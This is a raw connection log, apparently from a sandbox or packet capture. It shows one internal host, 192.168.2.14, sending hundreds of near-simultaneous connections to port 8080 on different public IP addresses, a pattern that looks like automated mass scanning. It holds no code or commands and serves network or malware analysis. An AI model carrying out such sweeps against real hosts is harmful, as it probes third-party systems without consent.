Feb 27, 2025 07:08:36.577528000 CET	25538	8080	192.168.2.14	85.199.53.243
Feb 27, 2025 07:08:36.577532053 CET	25538	8080	192.168.2.14	31.185.144.155
Feb 27, 2025 07:08:36.577536106 CET	25538	8080	192.168.2.14	95.75.60.91
Feb 27, 2025 07:08:36.577557087 CET	25538	8080	192.168.2.14	94.254.149.94
Feb 27, 2025 07:08:36.577557087 CET	25538	8080	192.168.2.14	31.134.50.88
Feb 27, 2025 07:08:36.577557087 CET	25538	8080	192.168.2.14	94.231.57.181
Feb 27, 2025 07:08:36.577557087 CET	25538	8080	192.168.2.14	62.72.2.83
Feb 27, 2025 07:08:36.577559948 CET	25538	8080	192.168.2.14	62.119.226.136
Feb 27, 2025 07:08:36.577564955 CET	25538	8080	192.168.2.14	62.184.53.51
Feb 27, 2025 07:08:36.577568054 CET	25538	8080	192.168.2.14	62.109.68.152
Feb 27, 2025 07:08:36.577584028 CET	25538	8080	192.168.2.14	62.160.165.104
Feb 27, 2025 07:08:36.577588081 CET	25538	8080	192.168.2.14	95.71.61.210
Feb 27, 2025 07:08:36.577593088 CET	25538	8080	192.168.2.14	31.179.8.69
Feb 27, 2025 07:08:36.577588081 CET	25538	8080	192.168.2.14	85.161.15.220
Feb 27, 2025 07:08:36.577610016 CET	25538	8080	192.168.2.14	62.173.28.226
Feb 27, 2025 07:08:36.577610016 CET	25538	8080	192.168.2.14	95.27.229.162
Feb 27, 2025 07:08:36.577615976 CET	25538	8080	192.168.2.14	85.220.29.236
Feb 27, 2025 07:08:36.577616930 CET	25538	8080	192.168.2.14	94.44.152.23
Feb 27, 2025 07:08:36.577620029 CET	25538	8080	192.168.2.14	95.147.20.177
Feb 27, 2025 07:08:36.577620029 CET	25538	8080	192.168.2.14	31.207.82.19
Feb 27, 2025 07:08:36.577620029 CET	25538	8080	192.168.2.14	94.99.183.105
Feb 27, 2025 07:08:36.577620029 CET	25538	8080	192.168.2.14	62.244.229.112
Feb 27, 2025 07:08:36.577634096 CET	25538	8080	192.168.2.14	94.37.50.171
Feb 27, 2025 07:08:36.577642918 CET	25538	8080	192.168.2.14	95.58.181.93
Feb 27, 2025 07:08:36.577647924 CET	25538	8080	192.168.2.14	62.215.183.194
Feb 27, 2025 07:08:36.577651978 CET	25538	8080	192.168.2.14	62.72.153.63
Feb 27, 2025 07:08:36.577656031 CET	25538	8080	192.168.2.14	31.24.70.168
Feb 27, 2025 07:08:36.577662945 CET	25538	8080	192.168.2.14	95.43.27.201
Feb 27, 2025 07:08:36.577665091 CET	25538	8080	192.168.2.14	95.6.24.34
Feb 27, 2025 07:08:36.577678919 CET	25538	8080	192.168.2.14	31.93.211.132
Feb 27, 2025 07:08:36.577680111 CET	25538	8080	192.168.2.14	62.179.69.108
Feb 27, 2025 07:08:36.577682972 CET	25538	8080	192.168.2.14	95.196.59.89
Feb 27, 2025 07:08:36.577697039 CET	25538	8080	192.168.2.14	85.231.40.117
Feb 27, 2025 07:08:36.577697992 CET	25538	8080	192.168.2.14	95.117.38.179
Feb 27, 2025 07:08:36.577701092 CET	25538	8080	192.168.2.14	94.102.96.179
Feb 27, 2025 07:08:36.577709913 CET	25538	8080	192.168.2.14	95.154.17.229
Feb 27, 2025 07:08:36.577709913 CET	25538	8080	192.168.2.14	85.176.39.118
Feb 27, 2025 07:08:36.577713013 CET	25538	8080	192.168.2.14	62.36.30.86
Feb 27, 2025 07:08:36.577713013 CET	25538	8080	192.168.2.14	31.109.222.83
Feb 27, 2025 07:08:36.577727079 CET	25538	8080	192.168.2.14	31.46.26.244
Feb 27, 2025 07:08:36.577730894 CET	25538	8080	192.168.2.14	31.228.56.233
Feb 27, 2025 07:08:36.577732086 CET	25538	8080	192.168.2.14	31.79.204.143
Feb 27, 2025 07:08:36.577738047 CET	25538	8080	192.168.2.14	85.91.216.47
Feb 27, 2025 07:08:36.577758074 CET	25538	8080	192.168.2.14	85.192.237.120
Feb 27, 2025 07:08:36.577761889 CET	25538	8080	192.168.2.14	94.18.42.147
Feb 27, 2025 07:08:36.577764034 CET	25538	8080	192.168.2.14	85.203.34.109
Feb 27, 2025 07:08:36.577764988 CET	25538	8080	192.168.2.14	62.48.240.12
Feb 27, 2025 07:08:36.577770948 CET	25538	8080	192.168.2.14	31.168.101.87
Feb 27, 2025 07:08:36.577797890 CET	25538	8080	192.168.2.14	31.79.178.107
Feb 27, 2025 07:08:36.577797890 CET	25538	8080	192.168.2.14	95.229.254.223
Feb 27, 2025 07:08:36.577797890 CET	25538	8080	192.168.2.14	95.87.174.187
Feb 27, 2025 07:08:36.577797890 CET	25538	8080	192.168.2.14	62.64.232.15
Feb 27, 2025 07:08:36.577797890 CET	25538	8080	192.168.2.14	62.121.215.221
Feb 27, 2025 07:08:36.577801943 CET	25538	8080	192.168.2.14	95.178.121.75
Feb 27, 2025 07:08:36.577801943 CET	25538	8080	192.168.2.14	62.201.228.20
Feb 27, 2025 07:08:36.577805996 CET	25538	8080	192.168.2.14	85.8.68.253
Feb 27, 2025 07:08:36.577806950 CET	25538	8080	192.168.2.14	94.233.175.232
Feb 27, 2025 07:08:36.577806950 CET	25538	8080	192.168.2.14	31.215.79.212
Feb 27, 2025 07:08:36.577806950 CET	25538	8080	192.168.2.14	94.198.222.244
Feb 27, 2025 07:08:36.577816010 CET	25538	8080	192.168.2.14	94.170.20.211
Feb 27, 2025 07:08:36.577824116 CET	25538	8080	192.168.2.14	95.252.237.232
Feb 27, 2025 07:08:36.577824116 CET	25538	8080	192.168.2.14	95.227.162.72
Feb 27, 2025 07:08:36.577827930 CET	25538	8080	192.168.2.14	85.127.9.21
Feb 27, 2025 07:08:36.577840090 CET	25538	8080	192.168.2.14	95.255.139.36
Feb 27, 2025 07:08:36.577840090 CET	25538	8080	192.168.2.14	85.80.227.160
Feb 27, 2025 07:08:36.577845097 CET	25538	8080	192.168.2.14	95.211.236.143
Feb 27, 2025 07:08:36.577847004 CET	25538	8080	192.168.2.14	94.74.122.209
Feb 27, 2025 07:08:36.577858925 CET	25538	8080	192.168.2.14	94.102.234.199
Feb 27, 2025 07:08:36.577858925 CET	25538	8080	192.168.2.14	94.4.218.233
Feb 27, 2025 07:08:36.577858925 CET	25538	8080	192.168.2.14	85.243.61.209
Feb 27, 2025 07:08:36.577864885 CET	25538	8080	192.168.2.14	95.226.26.146
Feb 27, 2025 07:08:36.577866077 CET	25538	8080	192.168.2.14	85.244.145.150
Feb 27, 2025 07:08:36.577866077 CET	25538	8080	192.168.2.14	62.176.91.80
Feb 27, 2025 07:08:36.577883005 CET	25538	8080	192.168.2.14	31.207.187.131
Feb 27, 2025 07:08:36.577883005 CET	25538	8080	192.168.2.14	94.37.28.178
Feb 27, 2025 07:08:36.577887058 CET	25538	8080	192.168.2.14	95.77.30.254
Feb 27, 2025 07:08:36.577900887 CET	25538	8080	192.168.2.14	31.249.84.233
Feb 27, 2025 07:08:36.577900887 CET	25538	8080	192.168.2.14	94.9.138.91
Feb 27, 2025 07:08:36.577903032 CET	25538	8080	192.168.2.14	94.100.131.133
Feb 27, 2025 07:08:36.577918053 CET	25538	8080	192.168.2.14	94.142.49.167
Feb 27, 2025 07:08:36.577919960 CET	25538	8080	192.168.2.14	95.236.164.151
Feb 27, 2025 07:08:36.577919960 CET	25538	8080	192.168.2.14	94.157.48.149
Feb 27, 2025 07:08:36.577929020 CET	25538	8080	192.168.2.14	85.39.171.240
Feb 27, 2025 07:08:36.577929020 CET	25538	8080	192.168.2.14	85.197.8.170
Feb 27, 2025 07:08:36.577933073 CET	25538	8080	192.168.2.14	62.51.216.80
Feb 27, 2025 07:08:36.577933073 CET	25538	8080	192.168.2.14	31.132.172.145
Feb 27, 2025 07:08:36.577936888 CET	25538	8080	192.168.2.14	31.149.147.211
Feb 27, 2025 07:08:36.577956915 CET	25538	8080	192.168.2.14	62.137.199.118
Feb 27, 2025 07:08:36.577956915 CET	25538	8080	192.168.2.14	85.137.84.17
Feb 27, 2025 07:08:36.577958107 CET	25538	8080	192.168.2.14	85.99.30.85
Feb 27, 2025 07:08:36.577959061 CET	25538	8080	192.168.2.14	95.150.151.22
Feb 27, 2025 07:08:36.577958107 CET	25538	8080	192.168.2.14	85.137.217.75
Feb 27, 2025 07:08:36.577960014 CET	25538	8080	192.168.2.14	85.219.6.189
Feb 27, 2025 07:08:36.577982903 CET	25538	8080	192.168.2.14	85.1.84.235
Feb 27, 2025 07:08:36.577982903 CET	25538	8080	192.168.2.14	85.112.162.130
Feb 27, 2025 07:08:36.577986002 CET	25538	8080	192.168.2.14	95.135.69.62
Feb 27, 2025 07:08:36.577992916 CET	25538	8080	192.168.2.14	85.168.102.104
Feb 27, 2025 07:08:36.577995062 CET	25538	8080	192.168.2.14	62.139.96.41
Feb 27, 2025 07:08:36.578007936 CET	25538	8080	192.168.2.14	62.149.15.240
Feb 27, 2025 07:08:36.578008890 CET	25538	8080	192.168.2.14	95.35.6.28
Feb 27, 2025 07:08:36.578025103 CET	25538	8080	192.168.2.14	94.20.31.35
Feb 27, 2025 07:08:36.578032017 CET	25538	8080	192.168.2.14	85.41.185.250
Feb 27, 2025 07:08:36.578033924 CET	25538	8080	192.168.2.14	95.223.65.159
Feb 27, 2025 07:08:36.578042984 CET	25538	8080	192.168.2.14	62.115.107.179
Feb 27, 2025 07:08:36.578056097 CET	25538	8080	192.168.2.14	95.200.144.119
Feb 27, 2025 07:08:36.578057051 CET	25538	8080	192.168.2.14	95.203.81.176
Feb 27, 2025 07:08:36.578067064 CET	25538	8080	192.168.2.14	85.125.5.140
Feb 27, 2025 07:08:36.578067064 CET	25538	8080	192.168.2.14	94.184.239.130
Feb 27, 2025 07:08:36.578075886 CET	25538	8080	192.168.2.14	94.90.204.127
Feb 27, 2025 07:08:36.578080893 CET	25538	8080	192.168.2.14	62.14.0.42
Feb 27, 2025 07:08:36.578083992 CET	25538	8080	192.168.2.14	62.95.51.154
Feb 27, 2025 07:08:36.578088999 CET	25538	8080	192.168.2.14	31.78.79.224
Feb 27, 2025 07:08:36.578093052 CET	25538	8080	192.168.2.14	85.88.149.19
Feb 27, 2025 07:08:36.578103065 CET	25538	8080	192.168.2.14	95.207.12.122
Feb 27, 2025 07:08:36.578104973 CET	25538	8080	192.168.2.14	31.103.27.228
Feb 27, 2025 07:08:36.578104973 CET	25538	8080	192.168.2.14	62.226.142.102
Feb 27, 2025 07:08:36.578125954 CET	25538	8080	192.168.2.14	31.241.145.30
Feb 27, 2025 07:08:36.578126907 CET	25538	8080	192.168.2.14	85.92.75.149
Feb 27, 2025 07:08:36.578129053 CET	25538	8080	192.168.2.14	94.158.155.5
Feb 27, 2025 07:08:36.578129053 CET	25538	8080	192.168.2.14	85.145.48.68
Feb 27, 2025 07:08:36.578138113 CET	25538	8080	192.168.2.14	95.127.6.88
Feb 27, 2025 07:08:36.578138113 CET	25538	8080	192.168.2.14	85.3.21.125
Feb 27, 2025 07:08:36.578139067 CET	25538	8080	192.168.2.14	31.109.35.185
Feb 27, 2025 07:08:36.578140020 CET	25538	8080	192.168.2.14	85.143.161.42
Feb 27, 2025 07:08:36.578140974 CET	25538	8080	192.168.2.14	95.104.149.184
Feb 27, 2025 07:08:36.578140974 CET	25538	8080	192.168.2.14	31.10.157.150
Feb 27, 2025 07:08:36.578157902 CET	25538	8080	192.168.2.14	85.129.142.210
Feb 27, 2025 07:08:36.578160048 CET	25538	8080	192.168.2.14	94.156.208.99
Feb 27, 2025 07:08:36.578164101 CET	25538	8080	192.168.2.14	94.123.229.116
Feb 27, 2025 07:08:36.578167915 CET	25538	8080	192.168.2.14	62.31.55.245
Feb 27, 2025 07:08:36.578176022 CET	25538	8080	192.168.2.14	62.227.247.171
Feb 27, 2025 07:08:36.578176022 CET	25538	8080	192.168.2.14	85.213.3.195
Feb 27, 2025 07:08:36.578176022 CET	25538	8080	192.168.2.14	85.78.216.32
Feb 27, 2025 07:08:36.578176975 CET	25538	8080	192.168.2.14	95.215.237.39
Feb 27, 2025 07:08:36.578176975 CET	25538	8080	192.168.2.14	62.46.121.252
Feb 27, 2025 07:08:36.578177929 CET	25538	8080	192.168.2.14	85.112.110.115
Feb 27, 2025 07:08:36.578181028 CET	25538	8080	192.168.2.14	85.45.237.190
Feb 27, 2025 07:08:36.578186989 CET	25538	8080	192.168.2.14	31.232.222.107
Feb 27, 2025 07:08:36.578198910 CET	25538	8080	192.168.2.14	31.195.217.136
Feb 27, 2025 07:08:36.578201056 CET	25538	8080	192.168.2.14	31.200.42.245
Feb 27, 2025 07:08:36.578201056 CET	25538	8080	192.168.2.14	62.75.6.249
Feb 27, 2025 07:08:36.578201056 CET	25538	8080	192.168.2.14	95.240.131.159
Feb 27, 2025 07:08:36.578205109 CET	25538	8080	192.168.2.14	94.64.40.97
Feb 27, 2025 07:08:36.578207016 CET	25538	8080	192.168.2.14	62.155.149.108
Feb 27, 2025 07:08:36.578212023 CET	25538	8080	192.168.2.14	62.2.96.227
Feb 27, 2025 07:08:36.578222990 CET	25538	8080	192.168.2.14	62.106.86.149
Feb 27, 2025 07:08:36.578236103 CET	25538	8080	192.168.2.14	95.137.54.6
Feb 27, 2025 07:08:36.578236103 CET	25538	8080	192.168.2.14	85.32.205.223
Feb 27, 2025 07:08:36.578241110 CET	25538	8080	192.168.2.14	62.208.112.203
Feb 27, 2025 07:08:36.578241110 CET	25538	8080	192.168.2.14	85.128.39.117
Feb 27, 2025 07:08:36.578243017 CET	25538	8080	192.168.2.14	94.116.177.81
Feb 27, 2025 07:08:36.578252077 CET	25538	8080	192.168.2.14	94.45.45.216
Feb 27, 2025 07:08:36.578253984 CET	25538	8080	192.168.2.14	31.103.252.154
Feb 27, 2025 07:08:36.578267097 CET	25538	8080	192.168.2.14	95.65.209.86
Feb 27, 2025 07:08:36.578274965 CET	25538	8080	192.168.2.14	95.107.55.28
Feb 27, 2025 07:08:36.578275919 CET	25538	8080	192.168.2.14	31.126.217.189
Feb 27, 2025 07:08:36.578289032 CET	25538	8080	192.168.2.14	31.95.227.125
Feb 27, 2025 07:08:36.578293085 CET	25538	8080	192.168.2.14	95.125.106.109
Feb 27, 2025 07:08:36.578294039 CET	25538	8080	192.168.2.14	94.235.13.173
Feb 27, 2025 07:08:36.578304052 CET	25538	8080	192.168.2.14	31.95.232.69
Feb 27, 2025 07:08:36.578305006 CET	25538	8080	192.168.2.14	95.0.31.51
Feb 27, 2025 07:08:36.578309059 CET	25538	8080	192.168.2.14	95.133.208.46
Feb 27, 2025 07:08:36.578310966 CET	25538	8080	192.168.2.14	85.253.2.61
Feb 27, 2025 07:08:36.578321934 CET	25538	8080	192.168.2.14	94.10.2.148
Feb 27, 2025 07:08:36.578325033 CET	25538	8080	192.168.2.14	94.53.142.28
Feb 27, 2025 07:08:36.578330040 CET	25538	8080	192.168.2.14	62.232.247.13
Feb 27, 2025 07:08:36.578331947 CET	25538	8080	192.168.2.14	62.81.70.20
Feb 27, 2025 07:08:36.578349113 CET	25538	8080	192.168.2.14	85.243.111.54
Feb 27, 2025 07:08:36.578349113 CET	25538	8080	192.168.2.14	94.241.177.20
Feb 27, 2025 07:08:36.578351021 CET	25538	8080	192.168.2.14	95.151.21.253
Feb 27, 2025 07:08:36.578352928 CET	25538	8080	192.168.2.14	62.49.231.84
Feb 27, 2025 07:08:36.578356028 CET	25538	8080	192.168.2.14	95.229.215.155
Feb 27, 2025 07:08:36.578366041 CET	25538	8080	192.168.2.14	31.103.95.140
Feb 27, 2025 07:08:36.578366041 CET	25538	8080	192.168.2.14	85.117.128.60
Feb 27, 2025 07:08:36.578376055 CET	25538	8080	192.168.2.14	31.115.169.255
Feb 27, 2025 07:08:36.578376055 CET	25538	8080	192.168.2.14	94.77.87.153
Feb 27, 2025 07:08:36.578383923 CET	25538	8080	192.168.2.14	94.135.65.108
Feb 27, 2025 07:08:36.578386068 CET	25538	8080	192.168.2.14	85.9.21.176
Feb 27, 2025 07:08:36.578396082 CET	25538	8080	192.168.2.14	62.208.98.213
Feb 27, 2025 07:08:36.578402042 CET	25538	8080	192.168.2.14	95.69.224.161
Feb 27, 2025 07:08:36.578402042 CET	25538	8080	192.168.2.14	31.68.88.159
Feb 27, 2025 07:08:36.578413010 CET	25538	8080	192.168.2.14	94.242.231.95
Feb 27, 2025 07:08:36.578413010 CET	25538	8080	192.168.2.14	62.27.166.98
Feb 27, 2025 07:08:36.578418970 CET	25538	8080	192.168.2.14	62.165.180.128
Feb 27, 2025 07:08:36.578428984 CET	25538	8080	192.168.2.14	94.207.204.172
Feb 27, 2025 07:08:36.578430891 CET	25538	8080	192.168.2.14	62.103.34.247
Feb 27, 2025 07:08:36.578438997 CET	25538	8080	192.168.2.14	85.30.190.37
Feb 27, 2025 07:08:36.578447104 CET	25538	8080	192.168.2.14	85.56.90.183
Feb 27, 2025 07:08:36.578455925 CET	25538	8080	192.168.2.14	85.12.10.53
Feb 27, 2025 07:08:36.578468084 CET	25538	8080	192.168.2.14	95.111.59.169
Feb 27, 2025 07:08:36.578471899 CET	25538	8080	192.168.2.14	62.46.226.48
Feb 27, 2025 07:08:36.578470945 CET	25538	8080	192.168.2.14	62.130.207.145
Feb 27, 2025 07:08:36.578474998 CET	25538	8080	192.168.2.14	94.241.5.65
Feb 27, 2025 07:08:36.578483105 CET	25538	8080	192.168.2.14	95.226.62.211
Feb 27, 2025 07:08:36.578483105 CET	25538	8080	192.168.2.14	62.63.204.198
Feb 27, 2025 07:08:36.578496933 CET	25538	8080	192.168.2.14	31.37.141.24
Feb 27, 2025 07:08:36.578505993 CET	25538	8080	192.168.2.14	95.106.55.37
Feb 27, 2025 07:08:36.578505993 CET	25538	8080	192.168.2.14	95.217.157.8
Feb 27, 2025 07:08:36.578511000 CET	25538	8080	192.168.2.14	85.79.212.120
Feb 27, 2025 07:08:36.578521967 CET	25538	8080	192.168.2.14	95.253.26.152
Feb 27, 2025 07:08:36.578524113 CET	25538	8080	192.168.2.14	62.36.73.234
Feb 27, 2025 07:08:36.578533888 CET	25538	8080	192.168.2.14	94.175.123.179
Feb 27, 2025 07:08:36.578536987 CET	25538	8080	192.168.2.14	31.242.106.218
Feb 27, 2025 07:08:36.578542948 CET	25538	8080	192.168.2.14	31.158.16.100
Feb 27, 2025 07:08:36.578552961 CET	25538	8080	192.168.2.14	85.157.73.223
Feb 27, 2025 07:08:36.578557014 CET	25538	8080	192.168.2.14	85.175.37.254
Feb 27, 2025 07:08:36.578560114 CET	25538	8080	192.168.2.14	95.193.223.218
Feb 27, 2025 07:08:36.578578949 CET	25538	8080	192.168.2.14	94.26.139.15
Feb 27, 2025 07:08:36.578586102 CET	25538	8080	192.168.2.14	62.134.150.63
Feb 27, 2025 07:08:36.578593016 CET	25538	8080	192.168.2.14	62.64.216.140
Feb 27, 2025 07:08:36.578596115 CET	25538	8080	192.168.2.14	85.95.74.63
Feb 27, 2025 07:08:36.578602076 CET	25538	8080	192.168.2.14	62.164.70.253
Feb 27, 2025 07:08:36.578613997 CET	25538	8080	192.168.2.14	95.58.223.237
Feb 27, 2025 07:08:36.578624964 CET	25538	8080	192.168.2.14	62.52.252.163
Feb 27, 2025 07:08:36.578627110 CET	25538	8080	192.168.2.14	95.183.209.45
Feb 27, 2025 07:08:36.578635931 CET	25538	8080	192.168.2.14	94.148.179.231
Feb 27, 2025 07:08:36.578643084 CET	25538	8080	192.168.2.14	31.149.193.5
Feb 27, 2025 07:08:36.578644991 CET	25538	8080	192.168.2.14	31.110.125.12
Feb 27, 2025 07:08:36.578645945 CET	25538	8080	192.168.2.14	85.68.66.128
Feb 27, 2025 07:08:36.578663111 CET	25538	8080	192.168.2.14	94.6.98.47
Feb 27, 2025 07:08:36.578670025 CET	25538	8080	192.168.2.14	85.214.173.33
Feb 27, 2025 07:08:36.578679085 CET	25538	8080	192.168.2.14	31.25.128.17
Feb 27, 2025 07:08:36.578682899 CET	25538	8080	192.168.2.14	31.132.77.146
Feb 27, 2025 07:08:36.578691006 CET	25538	8080	192.168.2.14	31.73.6.109
Feb 27, 2025 07:08:36.578701019 CET	25538	8080	192.168.2.14	94.78.51.27
Feb 27, 2025 07:08:36.578711033 CET	25538	8080	192.168.2.14	62.104.158.167
Feb 27, 2025 07:08:36.578711987 CET	25538	8080	192.168.2.14	62.42.197.215
Feb 27, 2025 07:08:36.578727007 CET	25538	8080	192.168.2.14	62.107.170.91
Feb 27, 2025 07:08:36.578733921 CET	25538	8080	192.168.2.14	85.244.53.226
Feb 27, 2025 07:08:36.578744888 CET	25538	8080	192.168.2.14	85.198.33.106
Feb 27, 2025 07:08:36.578747988 CET	25538	8080	192.168.2.14	85.55.47.68
Feb 27, 2025 07:08:36.578761101 CET	25538	8080	192.168.2.14	85.76.160.178
Feb 27, 2025 07:08:36.578778982 CET	25538	8080	192.168.2.14	62.142.146.125
Feb 27, 2025 07:08:36.578779936 CET	25538	8080	192.168.2.14	85.46.3.173
Feb 27, 2025 07:08:36.578793049 CET	25538	8080	192.168.2.14	85.7.152.180
Feb 27, 2025 07:08:36.578800917 CET	25538	8080	192.168.2.14	31.162.42.228
Feb 27, 2025 07:08:36.578808069 CET	25538	8080	192.168.2.14	94.139.245.155
Feb 27, 2025 07:08:36.578809977 CET	25538	8080	192.168.2.14	31.203.117.18
Feb 27, 2025 07:08:36.578824997 CET	25538	8080	192.168.2.14	95.195.223.196
Feb 27, 2025 07:08:36.578826904 CET	25538	8080	192.168.2.14	62.40.235.131
Feb 27, 2025 07:08:36.578835011 CET	25538	8080	192.168.2.14	95.144.53.107
Feb 27, 2025 07:08:36.578839064 CET	25538	8080	192.168.2.14	85.253.79.66
Feb 27, 2025 07:08:36.578866959 CET	25538	8080	192.168.2.14	31.27.98.37
Feb 27, 2025 07:08:36.578870058 CET	25538	8080	192.168.2.14	62.189.70.99
Feb 27, 2025 07:08:36.578871965 CET	25538	8080	192.168.2.14	95.98.226.27
Feb 27, 2025 07:08:36.578871965 CET	25538	8080	192.168.2.14	95.198.0.60
Feb 27, 2025 07:08:36.578871965 CET	25538	8080	192.168.2.14	31.198.136.55
Feb 27, 2025 07:08:36.578872919 CET	25538	8080	192.168.2.14	95.77.254.44
Feb 27, 2025 07:08:36.578875065 CET	25538	8080	192.168.2.14	94.187.184.157
Feb 27, 2025 07:08:36.578888893 CET	25538	8080	192.168.2.14	94.174.167.109
Feb 27, 2025 07:08:36.578891039 CET	25538	8080	192.168.2.14	85.143.246.191
Feb 27, 2025 07:08:36.578907013 CET	25538	8080	192.168.2.14	94.233.120.19
Feb 27, 2025 07:08:36.578907967 CET	25538	8080	192.168.2.14	85.233.108.101
Feb 27, 2025 07:08:36.578926086 CET	25538	8080	192.168.2.14	31.46.206.46
Feb 27, 2025 07:08:36.578928947 CET	25538	8080	192.168.2.14	85.35.105.239
Feb 27, 2025 07:08:36.578931093 CET	25538	8080	192.168.2.14	94.188.209.233
Feb 27, 2025 07:08:36.578932047 CET	25538	8080	192.168.2.14	85.91.74.7
Feb 27, 2025 07:08:36.578937054 CET	25538	8080	192.168.2.14	94.25.82.175
Feb 27, 2025 07:08:36.578947067 CET	25538	8080	192.168.2.14	62.137.27.238
Feb 27, 2025 07:08:36.578948975 CET	25538	8080	192.168.2.14	31.12.136.247
Feb 27, 2025 07:08:36.578960896 CET	25538	8080	192.168.2.14	94.171.120.7
Feb 27, 2025 07:08:36.578963041 CET	25538	8080	192.168.2.14	31.36.71.26
Feb 27, 2025 07:08:36.578963995 CET	25538	8080	192.168.2.14	94.95.0.69
Feb 27, 2025 07:08:36.578965902 CET	25538	8080	192.168.2.14	62.125.33.114
Feb 27, 2025 07:08:36.578979015 CET	25538	8080	192.168.2.14	95.126.143.174
Feb 27, 2025 07:08:36.578984976 CET	25538	8080	192.168.2.14	62.89.194.130
Feb 27, 2025 07:08:36.579013109 CET	25538	8080	192.168.2.14	85.125.148.15
Feb 27, 2025 07:08:36.579050064 CET	25538	8080	192.168.2.14	85.134.64.222
Feb 27, 2025 07:08:36.579054117 CET	25538	8080	192.168.2.14	85.4.50.32
Feb 27, 2025 07:08:36.579056978 CET	25538	8080	192.168.2.14	94.241.210.58
Feb 27, 2025 07:08:36.579060078 CET	25538	8080	192.168.2.14	95.10.254.123
Feb 27, 2025 07:08:36.579071999 CET	25538	8080	192.168.2.14	95.228.152.190
Feb 27, 2025 07:08:36.579072952 CET	25538	8080	192.168.2.14	85.145.101.194
Feb 27, 2025 07:08:36.579083920 CET	25538	8080	192.168.2.14	85.78.92.140
Feb 27, 2025 07:08:36.579097986 CET	25538	8080	192.168.2.14	95.114.125.29
Feb 27, 2025 07:08:36.579097986 CET	25538	8080	192.168.2.14	31.28.98.114
Feb 27, 2025 07:08:36.579102993 CET	25538	8080	192.168.2.14	85.115.160.13
Feb 27, 2025 07:08:36.579129934 CET	25538	8080	192.168.2.14	31.2.145.127
Feb 27, 2025 07:08:36.579155922 CET	25538	8080	192.168.2.14	31.144.160.112
Feb 27, 2025 07:08:36.579158068 CET	25538	8080	192.168.2.14	31.8.181.206
Feb 27, 2025 07:08:36.579186916 CET	25538	8080	192.168.2.14	85.20.100.155
Feb 27, 2025 07:08:36.579190969 CET	25538	8080	192.168.2.14	85.29.225.172
Feb 27, 2025 07:08:36.579190969 CET	25538	8080	192.168.2.14	95.89.19.163
Feb 27, 2025 07:08:36.579197884 CET	25538	8080	192.168.2.14	85.163.108.124
Feb 27, 2025 07:08:36.579205036 CET	25538	8080	192.168.2.14	95.229.106.166
Feb 27, 2025 07:08:36.579210043 CET	25538	8080	192.168.2.14	85.189.23.240
Feb 27, 2025 07:08:36.579243898 CET	25538	8080	192.168.2.14	95.130.27.164
Feb 27, 2025 07:08:36.579245090 CET	25538	8080	192.168.2.14	94.63.21.250
Feb 27, 2025 07:08:36.579243898 CET	25538	8080	192.168.2.14	94.33.112.197
Feb 27, 2025 07:08:36.579248905 CET	54494	80	192.168.2.14	88.132.13.82
Feb 27, 2025 07:08:36.579267025 CET	25538	8080	192.168.2.14	94.121.225.7
Feb 27, 2025 07:08:36.579268932 CET	25538	8080	192.168.2.14	85.101.61.108
Feb 27, 2025 07:08:36.579283953 CET	25538	8080	192.168.2.14	85.221.108.77
Feb 27, 2025 07:08:36.579283953 CET	25538	8080	192.168.2.14	94.83.44.147
Feb 27, 2025 07:08:36.579283953 CET	25538	8080	192.168.2.14	62.143.18.22
Feb 27, 2025 07:08:36.579303980 CET	25538	8080	192.168.2.14	95.237.29.5
Feb 27, 2025 07:08:36.579304934 CET	25538	8080	192.168.2.14	31.103.91.241
Feb 27, 2025 07:08:36.579319000 CET	25538	8080	192.168.2.14	95.231.61.69
Feb 27, 2025 07:08:36.579346895 CET	25538	8080	192.168.2.14	95.254.55.136
Feb 27, 2025 07:08:36.579356909 CET	25538	8080	192.168.2.14	62.209.174.55
Feb 27, 2025 07:08:36.579361916 CET	25538	8080	192.168.2.14	85.64.161.189
Feb 27, 2025 07:08:36.579365969 CET	25538	8080	192.168.2.14	31.254.99.79
Feb 27, 2025 07:08:36.579374075 CET	25538	8080	192.168.2.14	95.241.36.152
Feb 27, 2025 07:08:36.579385996 CET	25538	8080	192.168.2.14	85.141.226.81
Feb 27, 2025 07:08:36.579392910 CET	25538	8080	192.168.2.14	95.40.184.239
Feb 27, 2025 07:08:36.579392910 CET	25538	8080	192.168.2.14	95.225.66.217
Feb 27, 2025 07:08:36.579407930 CET	25538	8080	192.168.2.14	31.40.139.239
Feb 27, 2025 07:08:36.579437971 CET	25538	8080	192.168.2.14	94.159.25.224
Feb 27, 2025 07:08:36.579449892 CET	25538	8080	192.168.2.14	31.239.151.75
Feb 27, 2025 07:08:36.579462051 CET	25538	8080	192.168.2.14	62.53.201.169
Feb 27, 2025 07:08:36.579463005 CET	25538	8080	192.168.2.14	85.217.137.196
Feb 27, 2025 07:08:36.579468966 CET	25538	8080	192.168.2.14	62.159.252.48
Feb 27, 2025 07:08:36.579482079 CET	25538	8080	192.168.2.14	95.119.219.166
Feb 27, 2025 07:08:36.579492092 CET	25538	8080	192.168.2.14	94.224.173.40
Feb 27, 2025 07:08:36.579526901 CET	25538	8080	192.168.2.14	62.225.195.103
Feb 27, 2025 07:08:36.579530954 CET	25538	8080	192.168.2.14	85.122.38.106
Feb 27, 2025 07:08:36.579540968 CET	25538	8080	192.168.2.14	95.218.166.66
Feb 27, 2025 07:08:36.579541922 CET	25538	8080	192.168.2.14	62.225.89.238
Feb 27, 2025 07:08:36.579569101 CET	25538	8080	192.168.2.14	31.244.152.108
Feb 27, 2025 07:08:36.579571009 CET	25538	8080	192.168.2.14	62.6.155.29
Feb 27, 2025 07:08:36.579571009 CET	25538	8080	192.168.2.14	62.205.191.1
Feb 27, 2025 07:08:36.579571009 CET	25538	8080	192.168.2.14	62.196.172.149
Feb 27, 2025 07:08:36.579571009 CET	25538	8080	192.168.2.14	95.142.165.75
Feb 27, 2025 07:08:36.579576969 CET	25538	8080	192.168.2.14	31.198.173.63
Feb 27, 2025 07:08:36.579576969 CET	25538	8080	192.168.2.14	62.51.252.179
Feb 27, 2025 07:08:36.579580069 CET	25538	8080	192.168.2.14	85.235.74.28
Feb 27, 2025 07:08:36.579595089 CET	25538	8080	192.168.2.14	62.221.95.53
Feb 27, 2025 07:08:36.579622030 CET	25538	8080	192.168.2.14	94.55.255.244
Feb 27, 2025 07:08:36.579623938 CET	25538	8080	192.168.2.14	85.25.92.101
Feb 27, 2025 07:08:36.579634905 CET	25538	8080	192.168.2.14	85.196.38.92
Feb 27, 2025 07:08:36.579651117 CET	25538	8080	192.168.2.14	95.36.16.208
Feb 27, 2025 07:08:36.579659939 CET	25538	8080	192.168.2.14	95.94.249.125
Feb 27, 2025 07:08:36.579659939 CET	25538	8080	192.168.2.14	95.3.127.16
